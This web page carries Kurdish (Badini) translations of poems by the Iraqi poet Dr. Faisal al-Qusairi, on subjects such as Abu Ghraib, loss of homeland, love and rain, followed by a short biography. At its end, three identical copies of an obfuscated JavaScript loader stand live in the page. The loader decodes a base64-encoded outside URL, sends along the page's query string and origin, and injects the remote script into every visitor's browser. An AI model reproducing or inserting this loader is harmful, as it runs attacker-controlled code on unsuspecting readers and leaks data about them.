ژ هەلبەستێن د. فیصل القصیری
وەرگێڕان:
حەسەنێ سلێڤانەیی
– هەتكبەری –
بێ شەرم
بێ شەرم
زێرەڤانان ب حەڤسیانڤە میزت.
* *
ل ئەب غرێب
بێگۆمان درەو ئاشكرابوون و
دیموكراتی لبەر تاڤێ
درویسن !
* *
جەنەرال هات
حەڤسی كۆمكرن و گۆت:
ئەم ل ڤێرێ ب ناڤێ ئازادیێ
ناسناما وە ژ ناڤ دبەین.
ب ناڤێ دیموكراسیێ مینا بەرخێن جەژنێ
وە سەرژێ دكین
ب ناڤێ زەلالی یێ
بۆ كوشتیانبەهیداریێ دداین
ئو یا دوماهیێ گەلی حەڤسیان
بلا پەیڤێن من نانێ وە یێ رۆژانە بن .
– بروسكە –
نوكە من ببە
بۆ پێلەكێ من ببە
ژ چاڤێن من، من ببە
ژ گوهێن من، من ببە
ل بەڕی یا خەونێن خوە من بژالە بكە
من ددەفتەرا ڕۆژێن خوەدا بنڤیسە
دبت ئەز تلیێن ژ رۆناهیەكا گەش
د تەدا شین ببم
یان تو د پیتێن نڤێژەكا نهێنی دا
شین ببی.
نوكە من ببە .
– هندابوون –
دو تشت
ل وەلاتێ من
بێ خەم هندابوون
خوەشی هەمی و
ئێمناهی.
* *
ل وەلاتێ من
مرۆڤ ما
بێ هش و وژدان
گوشتێ برایێ خوە یێ مرۆڤ دخوت.
* *
ل وەلاتێ من چ جە نینە
بۆ كەیفخوەشیا گۆتین
ژ پەنجەركا پەرلەمانی دێ ئێت!
– هەلبەست ژ رۆژهەلاتا دلی –
ـ زارۆكینی
رووبارەكە هەردەم ب حیلە حیلە
د خوا من دا .
– باران
هەڤالێ هەلبەستڤانایە
لێ نەیارێ سەردانێن تامسارن
– ئەڤینی
دو پیتن
یا ئێكێ شرینە
یا دویێ هەژی یە
– ژن
ژ فێقیێ دیتنێ هاتیە ئافراندن
دبت سێڤەك بت
ئو دبت هەلبەستەك بت
یان كەوكەبەك ل بلنداهیا بت.
– دۆرپێج
درێژیا تلیێن وی دەه مارن
تەیرێ مرنا رەش هلدگرت
– سوبەهی
دبێژم سوبەهی
ئەورێ دەهێ دێڤشكێت و
هەیڤ دێ بوورت.
– ل دەمێ بووری
ڕتم بۆ بارانێ بوو
ئو برویسی بۆ هەلبەستێ بوو .
– باغچەیێن پرسیارێ
هەلبەستێن دژی تاریستانێ نە و
ئەسمانەكێ ب گەودێ ئەڤینێ یە.
د. فەیصەل ئەلقصیری: هەلبەستڤان و رەخنەگرەكێ ناڤدارێ ئیراقێ یە، خلاتێ ئێكێ ب رەخنەیا ئەدەبی یا الگیب صالح وەرگرتیە، ژ دایكبوویێ سالا ١٩٥٧ ل مویسل، دكتوراە ب فەلسەفا ئەدەبێ ئەرەبی یێ نوی ژ كولیژا ئادابا زانكۆیا مویسل ل ٢٠٠٥ وەرگرتیە.
ژ بەرهەمێن چاپكری: حدائق الاستفهام شعر ٢٠٠٠. اغنی لكم شعر ٢٠٠٠ . قراگیس التیه شعر ٢٠٠٦. بنیە القصیدە فی شعر عزالدین المناصرە نقد ٢٠٠٦ اڵاردن . جمالیات النص الادبی نقد ٢٠١٢ سوریە . لسەر ئەدەبێ كوردی چەند ڤەكۆلینێن ب نرخ هەنە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
